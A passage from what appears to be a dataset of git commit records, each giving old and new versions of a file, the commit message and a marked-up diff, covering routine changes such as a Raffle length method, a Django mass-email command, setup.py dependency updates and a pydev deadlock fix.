Signed-off-by: fujinhua <302f4934d283b6f50163b4a7fd9b6c869e0ad64e@zte.com.cn>
# Copyright 2017 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file exc... |
ea09470ebdd69af2fa1d7d07d7b04fe3ff857987 | raffle.py | raffle.py | """
St. George Game
raffle.py
Sage Berg
Created: 9 Dec 2014
"""
from random import randint
class Raffle(object):
"""
Raffle contains a list of action objects, one of which
will be chosen and shown to the player.
"""
def __init__(self):
self.options = dict() # Maps options to weights
... | """
St. George Game
raffle.py
Sage Berg
Created: 9 Dec 2014
"""
from random import randint
class Raffle(object):
"""
Raffle contains a list of action objects, one of which
will be chosen and shown to the player.
"""
def __init__(self):
self.options = dict() # Maps options to weights
... | Add length method to Raffle | Add length method to Raffle
| Python | apache-2.0 | SageBerg/St.GeorgeGame,SageBerg/St.GeorgeGame,SageBerg/St.GeorgeGame,SageBerg/St.GeorgeGame | <REPLACE_OLD> weight)
<REPLACE_NEW> weight)
def __len__(self):
"""
Return the combined weight of all options in the Raffle.
"""
total = 0
for _, weight in self.options.items():
total += weight
return total
<REPLACE_END> <|endoftext|> """
St. George Game... | Add length method to Raffle
"""
St. George Game
raffle.py
Sage Berg
Created: 9 Dec 2014
"""
from random import randint
class Raffle(object):
"""
Raffle contains a list of action objects, one of which
will be chosen and shown to the player.
"""
def __init__(self):
self.options = dict() ... |
f79465a56f45aaa74593bf0176015dabd5845b25 | src/lovelace/management/commands/send_mass_email.py | src/lovelace/management/commands/send_mass_email.py | import sys
import json
import requests
from bs4 import BeautifulSoup
from django.core.management.base import BaseCommand, CommandError
from users.models import UserProfile
from lovelace.settings import MAILGUN_API_URL, MAILGUN_API_KEY, LOVELACE_FROM_EMAIL
class Command(BaseCommand):
help = "Send a mass email to ... | Send mass email Django command | Send mass email Django command
| Python | mit | project-lovelace/lovelace-website,project-lovelace/lovelace-website,project-lovelace/lovelace-website | <REPLACE_OLD> <REPLACE_NEW> import sys
import json
import requests
from bs4 import BeautifulSoup
from django.core.management.base import BaseCommand, CommandError
from users.models import UserProfile
from lovelace.settings import MAILGUN_API_URL, MAILGUN_API_KEY, LOVELACE_FROM_EMAIL
class Command(BaseCommand):
... | Send mass email Django command
| |
221cfd23efde8d0ccc096da57aa95ad44c3a83a0 | django/generate_fixtures.py | django/generate_fixtures.py | from django.core.management.base import BaseCommand, CommandError
from {{{ app_name }}} import model_factories
MAX_RECORDS = 10
class Command(BaseCommand):
help = 'Adds all fixture data.'
def handle(self, *args, **options):
for _ in xrange(MAX_RECORDS):{%% for model_name in all_models %%}{%% set mod... | from django.core.management.base import BaseCommand, CommandError
from {{{ project }}}.{{{ app_name }}} import model_factories
MAX_RECORDS = 10
class Command(BaseCommand):
help = 'Adds all fixture data.'
def handle(self, *args, **options):
for _ in xrange(MAX_RECORDS):{%% for model_name in all_model... | Use proper relative path in django commands file | Use proper relative path in django commands file
| Python | apache-2.0 | christabor/Skaffold,christabor/Skaffold | <INSERT> project }}}.{{{ <INSERT_END> <|endoftext|> from django.core.management.base import BaseCommand, CommandError
from {{{ project }}}.{{{ app_name }}} import model_factories
MAX_RECORDS = 10
class Command(BaseCommand):
help = 'Adds all fixture data.'
def handle(self, *args, **options):
for _ in... | Use proper relative path in django commands file
from django.core.management.base import BaseCommand, CommandError
from {{{ app_name }}} import model_factories
MAX_RECORDS = 10
class Command(BaseCommand):
help = 'Adds all fixture data.'
def handle(self, *args, **options):
for _ in xrange(MAX_RECORD... |
78a596ba34a3a8a7435dd6ca997e6b6cb79fbdd6 | setup.py | setup.py | #!/usr/bin/env python2.7
from __future__ import print_function
from distutils.core import setup
import os
version = '1.0.0b'
# Append TeamCity build number if it gives us one.
if 'TC_BUILD_NUMBER' in os.environ and version.endswith('b'):
version += '' + os.environ['TC_BUILD_NUMBER']
setup(name='fetch',
mai... | #!/usr/bin/env python2.7
from __future__ import print_function
from distutils.core import setup
import os
version = '1.0.0b'
# Append TeamCity build number if it gives us one.
if 'TC_BUILD_NUMBER' in os.environ and version.endswith('b'):
version += '' + os.environ['TC_BUILD_NUMBER']
setup(name='fetch',
mai... | Add croniter dependency. Sort deps. | Add croniter dependency. Sort deps.
| Python | apache-2.0 | GeoscienceAustralia/fetch,GeoscienceAustralia/fetch | <REPLACE_OLD> 'neocommon',
<REPLACE_NEW> 'arrow',
<REPLACE_END> <REPLACE_OLD> 'requests',
<REPLACE_NEW> 'croniter',
<REPLACE_END> <REPLACE_OLD> 'setproctitle',
<REPLACE_NEW> 'neocommon',
<REPLACE_END> <REPLACE_OLD> 'arrow'
<REPLACE_NEW> 'requests',
'setproctitle',
<REPLACE_END> <|endoftext|> #!/usr/bi... | Add croniter dependency. Sort deps.
#!/usr/bin/env python2.7
from __future__ import print_function
from distutils.core import setup
import os
version = '1.0.0b'
# Append TeamCity build number if it gives us one.
if 'TC_BUILD_NUMBER' in os.environ and version.endswith('b'):
version += '' + os.environ['TC_BUILD_NU... |
f0046e84e9ddae502d135dc7f59f98a14b969b31 | setup.py | setup.py | #!/usr/bin/env python
# coding: utf-8
"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
from setuptools import setup, find_packages
import backlog
with open('README.rst') as readme_file:
README = readme_file.read()
setup(... | #!/usr/bin/env python
# coding: utf-8
"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
from setuptools import setup, find_packages
import backlog
with open('README.rst') as readme_file:
README = readme_file.read()
setup(... | Add more Python 3 classifiers | Add more Python 3 classifiers | Python | lgpl-2.1 | dmtucker/backlog | <INSERT> 'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
<INSERT_END> <|endoftext|> #!/usr/bin/env python
# coding: utf-8
"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html... | Add more Python 3 classifiers
#!/usr/bin/env python
# coding: utf-8
"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
from setuptools import setup, find_packages
import backlog
with open('README.rst') as readme_file:
READM... |
7bc4afdde415ec4176c589fb867ccdee2db5c041 | fmn/filters/generic.py | fmn/filters/generic.py | # Generic filters for FMN
import fedmsg
def user_filter(config, message, fasnick=None, *args, **kw):
""" All messages of user
Use this filter to filter out messages that are associated with a
specified user.
"""
fasnick = kw.get('fasnick', fasnick)
if fasnick:
return fasnick in fedms... | # Generic filters for FMN
import fedmsg
import fmn.lib.pkgdb
def user_filter(config, message, fasnick=None, *args, **kw):
""" All messages of user
Use this filter to filter out messages that are associated with a
specified user.
"""
fasnick = kw.get('fasnick', fasnick)
if fasnick:
r... | Add first filter relying on pkgdb integration | Add first filter relying on pkgdb integration | Python | lgpl-2.1 | jeremycline/fmn,jeremycline/fmn,jeremycline/fmn | <REPLACE_OLD> fedmsg
def <REPLACE_NEW> fedmsg
import fmn.lib.pkgdb
def <REPLACE_END> <REPLACE_OLD> fedmsg.meta.msg2usernames(message)
<REPLACE_NEW> fedmsg.meta.msg2usernames(message)
def user_package_filter(config, message, fasnick=None, *args, **kw):
""" All messages concerning user's packages
This fi... | Add first filter relying on pkgdb integration
# Generic filters for FMN
import fedmsg
def user_filter(config, message, fasnick=None, *args, **kw):
""" All messages of user
Use this filter to filter out messages that are associated with a
specified user.
"""
fasnick = kw.get('fasnick', fasnick)
... |
fcee154a123c7f9db81c92efce6d4a425dc0a3b1 | src/sentry/models/savedsearch.py | src/sentry/models/savedsearch.py | from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
class SavedSearch(Model):
"""
A saved search query.
"""
__core__ = True
project = FlexibleForeignKey('sentry.Pr... | from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
class SavedSearch(Model):
"""
A saved search query.
"""
__core__ = True
project = FlexibleForeignKey('sentry.Pr... | Add SavedSarch to project defaults | Add SavedSarch to project defaults
| Python | bsd-3-clause | mvaled/sentry,jean/sentry,mvaled/sentry,nicholasserra/sentry,BuildingLink/sentry,gencer/sentry,JackDanger/sentry,beeftornado/sentry,mvaled/sentry,zenefits/sentry,nicholasserra/sentry,daevaorn/sentry,gencer/sentry,beeftornado/sentry,fotinakis/sentry,JamesMura/sentry,JackDanger/sentry,fotinakis/sentry,looker/sentry,JackD... | <INSERT> __core__ = True
<INSERT_END> <|endoftext|> from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
class SavedSearch(Model):
"""
A saved search query.
"""
__c... | Add SavedSarch to project defaults
from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
class SavedSearch(Model):
"""
A saved search query.
"""
__core__ = True
pro... |
f81a2f9e3f1123ec474bce3278107a94c70e0dc3 | python/helpers/pydev/_pydev_bundle/_pydev_filesystem_encoding.py | python/helpers/pydev/_pydev_bundle/_pydev_filesystem_encoding.py | def __getfilesystemencoding():
'''
Note: there's a copy of this method in interpreterInfo.py
'''
import sys
try:
ret = sys.getfilesystemencoding()
if not ret:
raise RuntimeError('Unable to get encoding.')
return ret
except:
try:
#Handle Jyt... | import sys
def __getfilesystemencoding():
'''
Note: there's a copy of this method in interpreterInfo.py
'''
try:
ret = sys.getfilesystemencoding()
if not ret:
raise RuntimeError('Unable to get encoding.')
return ret
except:
try:
#Handle Jytho... | Fix deadlock in remote debugger (PY-18546) | Fix deadlock in remote debugger (PY-18546)
| Python | apache-2.0 | salguarnieri/intellij-community,ThiagoGarciaAlves/intellij-community,allotria/intellij-community,semonte/intellij-community,idea4bsd/idea4bsd,semonte/intellij-community,da1z/intellij-community,ThiagoGarciaAlves/intellij-community,mglukhikh/intellij-community,allotria/intellij-community,xfournet/intellij-community,salgu... | <REPLACE_OLD> def <REPLACE_NEW> import sys
def <REPLACE_END> <DELETE> import sys
<DELETE_END> <|endoftext|> import sys
def __getfilesystemencoding():
'''
Note: there's a copy of this method in interpreterInfo.py
'''
try:
ret = sys.getfilesystemencoding()
if not ret:
r... | Fix deadlock in remote debugger (PY-18546)
def __getfilesystemencoding():
'''
Note: there's a copy of this method in interpreterInfo.py
'''
import sys
try:
ret = sys.getfilesystemencoding()
if not ret:
raise RuntimeError('Unable to get encoding.')
return ret
... |
7821681829008dfe1c933551656c1604a24b491b | cla_frontend/apps/status/views.py | cla_frontend/apps/status/views.py | import datetime
from django.http import JsonResponse
from django.shortcuts import render
from django.views.generic import View
from cla_common.smoketest import smoketest
from .smoketests import smoketests
def status(request):
results = list(smoketests.execute())
passed = reduce(lambda acc, curr: acc and cur... | import datetime
from django.http import JsonResponse
from django.shortcuts import render
from django.views.generic import View
from cla_common.smoketest import smoketest
from .smoketests import smoketests
def status(request):
results = list(smoketests.execute())
passed = reduce(lambda acc, curr: acc and cur... | Clarify docstring from previous PR suggestion | Clarify docstring from previous PR suggestion
| Python | mit | ministryofjustice/cla_frontend,ministryofjustice/cla_frontend,ministryofjustice/cla_frontend,ministryofjustice/cla_frontend | <REPLACE_OLD> infra changes
<REPLACE_NEW> move to Kubernetes, obviating this view
<REPLACE_END> <|endoftext|> import datetime
from django.http import JsonResponse
from django.shortcuts import render
from django.views.generic import View
from cla_common.smoketest import smoketest
from .smoketests import smoketests
... | Clarify docstring from previous PR suggestion
import datetime
from django.http import JsonResponse
from django.shortcuts import render
from django.views.generic import View
from cla_common.smoketest import smoketest
from .smoketests import smoketests
def status(request):
results = list(smoketests.execute())
... |
7d9c7133de36d2fd7587d7be361cd0ff964d4e94 | deflect/urls.py | deflect/urls.py | from django.conf.urls import patterns
from django.conf.urls import url
from .views import redirect
urlpatterns = patterns('',
url(r'^(?P<key>[a-zA-Z0-9]+)$', redirect, name='deflect-redirect'),
)
| from django.conf import settings
from django.conf.urls import patterns
from django.conf.urls import url
from .views import alias
from .views import redirect
urlpatterns = patterns('',
url(r'^(?P<key>[a-zA-Z0-9]+)$', redirect, name='deflect-redirect'),
)
alias_prefix = getattr(settings, 'DEFLECT_ALIAS_PREFIX', '... | Add custom URL alias paths to URLconf | Add custom URL alias paths to URLconf
| Python | bsd-3-clause | jbittel/django-deflect | <INSERT> django.conf import settings
from <INSERT_END> <INSERT> .views import alias
from <INSERT_END> <REPLACE_OLD> name='deflect-redirect'),
)
<REPLACE_NEW> name='deflect-redirect'),
)
alias_prefix = getattr(settings, 'DEFLECT_ALIAS_PREFIX', '')
if alias_prefix:
urlpatterns += patterns('',
url(r'^%s(?P<k... | Add custom URL alias paths to URLconf
from django.conf.urls import patterns
from django.conf.urls import url
from .views import redirect
urlpatterns = patterns('',
url(r'^(?P<key>[a-zA-Z0-9]+)$', redirect, name='deflect-redirect'),
)
|
57a7651ba9583830ab32fae0bb8d790bb2bdb6a8 | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(name='programmabletuple',
version='0.2.0',
description='Python metaclass for making named tuples with programmability',
long_description=open('README.rst').read(),
author='Tschijnmo TSCHAU',
author_email='tschijnmotschau@gmail.com'... | #!/usr/bin/env python
from setuptools import setup
setup(name='programmabletuple',
version='0.3.0',
description='Python metaclass for making named tuples with programmability',
long_description=open('README.rst').read(),
author='Tschijnmo TSCHAU',
author_email='tschijnmotschau@gmail.com'... | Change the version number to 3.0 | Change the version number to 3.0
The most notable change from 2.0 is the new initializer.
| Python | mit | tschijnmo/programmabletuple | <REPLACE_OLD> version='0.2.0',
<REPLACE_NEW> version='0.3.0',
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
from setuptools import setup
setup(name='programmabletuple',
version='0.3.0',
description='Python metaclass for making named tuples with programmability',
long_description=open('README.r... | Change the version number to 3.0
The most notable change from 2.0 is the new initializer.
#!/usr/bin/env python
from setuptools import setup
setup(name='programmabletuple',
version='0.2.0',
description='Python metaclass for making named tuples with programmability',
long_description=open('README.r... |
52731e9eb254b77b54f1434b44d73ecd8f9f437d | src/parser/banner.py | src/parser/banner.py | """(c) All rights reserved. ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE, Switzerland, VPSI, 2018"""
from bs4 import BeautifulSoup
import re
class Banner:
""" To store website banner information. """
# FIXME: extend class with more information if html content is not enough to handle banner
def __init__(sel... | """(c) All rights reserved. ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE, Switzerland, VPSI, 2018"""
class Banner:
""" To store website banner information. """
# FIXME: extend class with more information if html content is not enough to handle banner
def __init__(self, content):
""" Constructor
... | Remove images URL cleaning because will be done later during parsing | Remove images URL cleaning because will be done later during parsing
| Python | mit | epfl-idevelop/jahia2wp,epfl-idevelop/jahia2wp,epfl-idevelop/jahia2wp,epfl-idevelop/jahia2wp | <REPLACE_OLD> 2018"""
from bs4 import BeautifulSoup
import re
class <REPLACE_NEW> 2018"""
class <REPLACE_END> <REPLACE_OLD> """
# If there are image in banner, they may have following code aspect, so cleaning is necessary :
# ###file:/content/sites/skyrmions/files/Image-1.jpg?uuid=default:d1c1c1d... | Remove images URL cleaning because will be done later during parsing
"""(c) All rights reserved. ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE, Switzerland, VPSI, 2018"""
from bs4 import BeautifulSoup
import re
class Banner:
""" To store website banner information. """
# FIXME: extend class with more informati... |
a75dc02612fd2159731d8fdc04e85a2fbc0138d0 | bvspca/core/templatetags/utility_tags.py | bvspca/core/templatetags/utility_tags.py | from django import template
from django.conf import settings
register = template.Library()
@register.filter
def to_css_name(value):
return value.lower().replace(' ', '-')
@register.filter
def get_property(instance, key):
return getattr(instance, key)
@register.assignment_tag
def get_google_maps_key():
... | from django import template
from django.conf import settings
register = template.Library()
@register.filter
def to_css_name(value):
return value.lower().replace(' ', '-')
@register.filter
def get_property(instance, key):
return getattr(instance, key)
@register.simple_tag
def get_google_maps_key():
re... | Switch from deprecated assignment tags to simple tags | Switch from deprecated assignment tags to simple tags
| Python | mit | nfletton/bvspca,nfletton/bvspca,nfletton/bvspca,nfletton/bvspca | <REPLACE_OLD> key)
@register.assignment_tag
def <REPLACE_NEW> key)
@register.simple_tag
def <REPLACE_END> <REPLACE_OLD> "")
@register.assignment_tag
def <REPLACE_NEW> "")
@register.simple_tag
def <REPLACE_END> <|endoftext|> from django import template
from django.conf import settings
register = template.Librar... | Switch from deprecated assignment tags to simple tags
from django import template
from django.conf import settings
register = template.Library()
@register.filter
def to_css_name(value):
return value.lower().replace(' ', '-')
@register.filter
def get_property(instance, key):
return getattr(instance, key)
... |
c461c57a90804558a30f3980b2608497a43c06a7 | nipy/testing/__init__.py | nipy/testing/__init__.py | """The testing directory contains a small set of imaging files to be used
for doctests only. More thorough tests and example data will be stored in
a nipy-data-suite to be created later and downloaded separately.
Examples
--------
>>> from nipy.testing import funcfile
>>> from nipy.io.api import load_image
>>> img =... | """The testing directory contains a small set of imaging files to be
used for doctests only. More thorough tests and example data will be
stored in a nipy data packages that you can download separately - see
:mod:`nipy.utils.data`
.. note:
We use the ``nose`` testing framework for tests.
Nose is a dependenc... | Allow failed nose import without breaking nipy import | Allow failed nose import without breaking nipy import | Python | bsd-3-clause | bthirion/nipy,nipy/nipy-labs,alexis-roche/register,arokem/nipy,alexis-roche/niseg,alexis-roche/nireg,alexis-roche/niseg,alexis-roche/nipy,alexis-roche/register,nipy/nipy-labs,nipy/nireg,nipy/nireg,alexis-roche/register,alexis-roche/nipy,bthirion/nipy,arokem/nipy,alexis-roche/nireg,bthirion/nipy,arokem/nipy,bthirion/nip... | <REPLACE_OLD> be used
for <REPLACE_NEW> be
used for <REPLACE_END> <INSERT> be
stored in a nipy data packages that you can download separately - see
:mod:`nipy.utils.data`
.. note:
We use the ``nose`` testing framework for tests.
Nose is a dependency for the tests, but should not <INSERT_END> <REPLACE_OLD> st... | Allow failed nose import without breaking nipy import
"""The testing directory contains a small set of imaging files to be used
for doctests only. More thorough tests and example data will be stored in
a nipy-data-suite to be created later and downloaded separately.
Examples
--------
>>> from nipy.testing import fun... |
3d3853d15e8a497bd104ae816498509cf8143662 | number_to_words.py | number_to_words.py | class NumberToWords(object):
"""
Class for converting positive integer values to a textual representation
of the submitted number for value of 0 up to 999999999.
"""
MAX = 999999999
SMALL_NUMBERS = ['', 'one', 'two', 'three', 'four', 'five', 'six',
'seven', 'eight', 'nine',... | class NumberToWords(object):
"""
Class for converting positive integer values to a textual representation
of the submitted number for value of 0 up to 999999999.
"""
MAX = 999999999
SMALL_NUMBERS = ['', 'one', 'two', 'three', 'four', 'five', 'six',
'seven', 'eight', 'nine',... | Add check to convert() so that only integers are acceptable input | Add check to convert() so that only integers are acceptable input
- Using python 2.7 so check for both `int` and `long`
- Update function definition to document expected exception conditions
and exception type. | Python | mit | ianfieldhouse/number_to_words | <REPLACE_OLD> 'million']
<REPLACE_NEW> 'million']
EXCEPTION_STRING = "This method expects positive integer values between " \
+ "0 and {0}".format(MAX)
<REPLACE_END> <REPLACE_OLD> `number`.
"""
<REPLACE_NEW> `number`.
Raises:
ValueError: If `number` is not a positive intege... | Add check to convert() so that only integers are acceptable input
- Using python 2.7 so check for both `int` and `long`
- Update function definition to document expected exception conditions
and exception type.
class NumberToWords(object):
"""
Class for converting positive integer values to a textual represen... |
9502de0e6be30e4592f4f0cf141abc27db64ccf4 | dependencies.py | dependencies.py | import os
import pkgutil
import site
if pkgutil.find_loader("gi"):
try:
import gi
print('Found gi:', os.path.abspath(gi.__file__))
gi.require_version('Gst', '1.0')
# from gi.repository import GLib, Gst
except ValueError:
print('Couldn\'t find Gst')
print('Please ... | import os
import pkgutil
import site
from sys import exit
if pkgutil.find_loader('gi'):
try:
import gi
print("Found gi at:", os.path.abspath(gi.__file__))
gi.require_version('Gst', '1.0')
# from gi.repository import Gst
except ValueError:
print("Couldn\'t find Gst",
... | Clean up of text Proper exit when exception has been raised | Clean up of text
Proper exit when exception has been raised
| Python | mit | Kane610/axis | <REPLACE_OLD> site
if pkgutil.find_loader("gi"):
<REPLACE_NEW> site
from sys import exit
if pkgutil.find_loader('gi'):
<REPLACE_END> <REPLACE_OLD> print('Found gi:', <REPLACE_NEW> print("Found gi at:", <REPLACE_END> <DELETE> GLib, <DELETE_END> <REPLACE_OLD> print('Couldn\'t <REPLACE_NEW> print("Couldn\'t <REPLACE_E... | Clean up of text
Proper exit when exception has been raised
import os
import pkgutil
import site
if pkgutil.find_loader("gi"):
try:
import gi
print('Found gi:', os.path.abspath(gi.__file__))
gi.require_version('Gst', '1.0')
# from gi.repository import GLib, Gst
except ValueErro... |
ea0cb6cc038c071f3160d15ca2167af7ff18096f | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
def fread(filepath):
with open(filepath, 'r') as f:
return f.read()
setup(
name='GB2260',
version='0.1.0',
author='Hsiaoming Yang',
author_email='me@lepture.com',
url='https://github.com/cn/GB2260',
packages=['gb2260'],
desc... | #!/usr/bin/env python
from setuptools import setup
def fread(filepath):
with open(filepath, 'r') as f:
return f.read()
setup(
name='GB2260',
version='0.1.0',
author='TonySeek',
author_email='tonyseek@gmail.com',
url='https://github.com/cn/GB2260',
packages=['gb2260'],
descri... | Change python module author to @tonyseek | Change python module author to @tonyseek
| Python | bsd-2-clause | cn/GB2260.py | <REPLACE_OLD> author='Hsiaoming Yang',
author_email='me@lepture.com',
<REPLACE_NEW> author='TonySeek',
author_email='tonyseek@gmail.com',
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
from setuptools import setup
def fread(filepath):
with open(filepath, 'r') as f:
return f.read()
setup(
... | Change python module author to @tonyseek
#!/usr/bin/env python
from setuptools import setup
def fread(filepath):
with open(filepath, 'r') as f:
return f.read()
setup(
name='GB2260',
version='0.1.0',
author='Hsiaoming Yang',
author_email='me@lepture.com',
url='https://github.com/cn/... |
efdd5de9ee67814b7c99aaaaf22fedb4578777b9 | froide/comments/migrations/0002_auto_20210505_1720.py | froide/comments/migrations/0002_auto_20210505_1720.py | # Generated by Django 3.1.8 on 2021-05-05 15:20
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('comments', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='froidecomment',
name='is_removed',
... | Add migration from django conrib comments update | Add migration from django conrib comments update | Python | mit | fin/froide,fin/froide,fin/froide,fin/froide | <INSERT> # Generated by Django 3.1.8 on 2021-05-05 15:20
from django.db import migrations, models
class Migration(migrations.Migration):
<INSERT_END> <INSERT> dependencies = [
('comments', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='froidecomment',
... | Add migration from django conrib comments update
| |
d729656703940304555a2d638d02c71f5a872434 | tests/unit/output/test_table_out.py | tests/unit/output/test_table_out.py | # -*- coding: utf-8 -*-
'''
unittests for table outputter
'''
# Import Python Libs
from __future__ import absolute_import, print_function, unicode_literals
# Import Salt Testing Libs
from tests.support.mixins import LoaderModuleMockMixin
from tests.support.unit import TestCase
# Import Salt Libs
import salt.output.t... | Add unit tests for table outputter | Add unit tests for table outputter
| Python | apache-2.0 | saltstack/salt,saltstack/salt,saltstack/salt,saltstack/salt,saltstack/salt | <REPLACE_OLD> <REPLACE_NEW> # -*- coding: utf-8 -*-
'''
unittests for table outputter
'''
# Import Python Libs
from __future__ import absolute_import, print_function, unicode_literals
# Import Salt Testing Libs
from tests.support.mixins import LoaderModuleMockMixin
from tests.support.unit import TestCase
# Import S... | Add unit tests for table outputter
| |
b5d367c172a8bdb3a9c165041a63ffe569c2c28b | examples/xml_to_json.py | examples/xml_to_json.py | #!\usr\bin\env python
import os
import sys
import cybox.bindings.cybox_core_1_0 as core_binding
from cybox.core import Observables
def from_file(filename):
cybox_obj = core_binding.parse(os.path.abspath(filename))
return Observables.from_obj(cybox_obj)
def main():
if len(sys.argv) < 2:
print "Ar... | Add script to convert CybOX XML to CybOX JSON. | Add script to convert CybOX XML to CybOX JSON.
| Python | bsd-3-clause | CybOXProject/python-cybox | <INSERT> #!\usr\bin\env python
import os
import sys
import cybox.bindings.cybox_core_1_0 as core_binding
from cybox.core import Observables
def from_file(filename):
<INSERT_END> <INSERT> cybox_obj = core_binding.parse(os.path.abspath(filename))
return Observables.from_obj(cybox_obj)
def main():
if len(sy... | Add script to convert CybOX XML to CybOX JSON.
| |
1faeaaadbd616866d08d85af8277ec0f4c3ac319 | setup.py | setup.py | from setuptools import setup
import imp
def get_version():
ver_file = None
try:
ver_file, pathname, description = imp.find_module('__version__', ['src/wstool'])
vermod = imp.load_module('__version__', ver_file, pathname, description)
version = vermod.version
return version
... | from setuptools import setup
import imp
def get_version():
ver_file = None
try:
ver_file, pathname, description = imp.find_module('__version__', ['src/wstool'])
vermod = imp.load_module('__version__', ver_file, pathname, description)
version = vermod.version
return version
... | Add dependency to vcstools>=0.1.34 (to be released) | Add dependency to vcstools>=0.1.34 (to be released)
| Python | bsd-3-clause | tkruse/wstool,vincentrou/wstool,tkruse/wstool,vincentrou/wstool,wkentaro/wstool | <REPLACE_OLD> install_requires=['vcstools', <REPLACE_NEW> install_requires=['vcstools>=0.1.34', <REPLACE_END> <|endoftext|> from setuptools import setup
import imp
def get_version():
ver_file = None
try:
ver_file, pathname, description = imp.find_module('__version__', ['src/wstool'])
vermod =... | Add dependency to vcstools>=0.1.34 (to be released)
from setuptools import setup
import imp
def get_version():
ver_file = None
try:
ver_file, pathname, description = imp.find_module('__version__', ['src/wstool'])
vermod = imp.load_module('__version__', ver_file, pathname, description)
... |
f6429a3c4b413231ad480f2768d47b78ec0c690b | great_expectations/cli/cli_logging.py | great_expectations/cli/cli_logging.py | import logging
import warnings
warnings.filterwarnings("ignore")
###
# REVIEWER NOTE: THE ORIGINAL IMPLEMENTATION WAS HEAVY HANDED AND I BELIEVE WAS A TEMPORARY WORKAROUND.
# PLEASE CAREFULLY REVIEW TO ENSURE REMOVING THIS DOES NOT AFFECT DESIRED BEHAVIOR
###
logger = logging.getLogger("great_expectations.cli")
de... | import logging
import warnings
warnings.filterwarnings("ignore")
###
# REVIEWER NOTE: THE ORIGINAL IMPLEMENTATION WAS HEAVY HANDED AND I BELIEVE WAS A TEMPORARY WORKAROUND.
# PLEASE CAREFULLY REVIEW TO ENSURE REMOVING THIS DOES NOT AFFECT DESIRED BEHAVIOR
###
logger = logging.getLogger("great_expectations.cli")
de... | Set level on module logger instead | Set level on module logger instead
| Python | apache-2.0 | great-expectations/great_expectations,great-expectations/great_expectations,great-expectations/great_expectations,great-expectations/great_expectations | <REPLACE_OLD> logging.StreamHandler()
handler.setLevel(level=logging.WARNING)
<REPLACE_NEW> logging.StreamHandler()
<REPLACE_END> <REPLACE_OLD> module_logger.addHandler(handler)
<REPLACE_NEW> module_logger.addHandler(handler)
module_logger.setLevel(level=logging.WARNING)
<REPLACE_END> <|endoftext|> impor... | Set level on module logger instead
import logging
import warnings
warnings.filterwarnings("ignore")
###
# REVIEWER NOTE: THE ORIGINAL IMPLEMENTATION WAS HEAVY HANDED AND I BELIEVE WAS A TEMPORARY WORKAROUND.
# PLEASE CAREFULLY REVIEW TO ENSURE REMOVING THIS DOES NOT AFFECT DESIRED BEHAVIOR
###
logger = logging.get... |
d655a1c3e27e637e0970b9fed71875eb63f36a12 | tools/cr/cr/actions/gyp.py | tools/cr/cr/actions/gyp.py | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""A module to add gyp support to cr."""
import cr
import os
GYP_DEFINE_PREFIX = 'GYP_DEF_'
class GypPrepareOut(cr.PrepareOut):
"""A prepare action that... | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""A module to add gyp support to cr."""
import cr
import os
GYP_DEFINE_PREFIX = 'GYP_DEF_'
class GypPrepareOut(cr.PrepareOut):
"""A prepare action that... | Fix typo GYP_DEF_target_arch v GPP_DEF_target_arch | Fix typo GYP_DEF_target_arch v GPP_DEF_target_arch
BUG=
Review URL: https://codereview.chromium.org/218623005
git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@260590 0039d316-1c4b-4281-b951-d872f2087c98
| Python | bsd-3-clause | hgl888/chromium-crosswalk-efl,hgl888/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,ltilve/chromium,Just-D/chromium-1,bright-sparks/chromium-spacewalk,jaruba/chromium.src,ltilve/chromium,ondra-novak/chromium.src,krieger-od/nwjs_chromium.src,dednal/chromium.src,ltilve/chromium,Pluto-tv/chromium-crosswalk,chuan9/... | <REPLACE_OLD> GPP_DEF_target_arch='{CR_ENVSETUP_ARCH}',
<REPLACE_NEW> GYP_DEF_target_arch='{CR_ENVSETUP_ARCH}',
<REPLACE_END> <|endoftext|> # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""A module to ... | Fix typo GYP_DEF_target_arch v GPP_DEF_target_arch
BUG=
Review URL: https://codereview.chromium.org/218623005
git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@260590 0039d316-1c4b-4281-b951-d872f2087c98
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-st... |
d618f430c143874011b70afe0a4fa62c06f5e28c | md5bot.py | md5bot.py | """
md5bot.py -- Twitter bot that tweets the current time as an md5 value
"""
import time
import hashlib
import tweepy
CONSUMER_KEY = 'xxxxxxxxxxxx'
CONSUMER_SECRET = 'xxxxxxxxxxxx'
ACCESS_KEY = 'xxxxxxxxxxxx'
ACCESS_SECRET = 'xxxxxxxxxxxx'
auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_to... | #!/usr/bin/env python
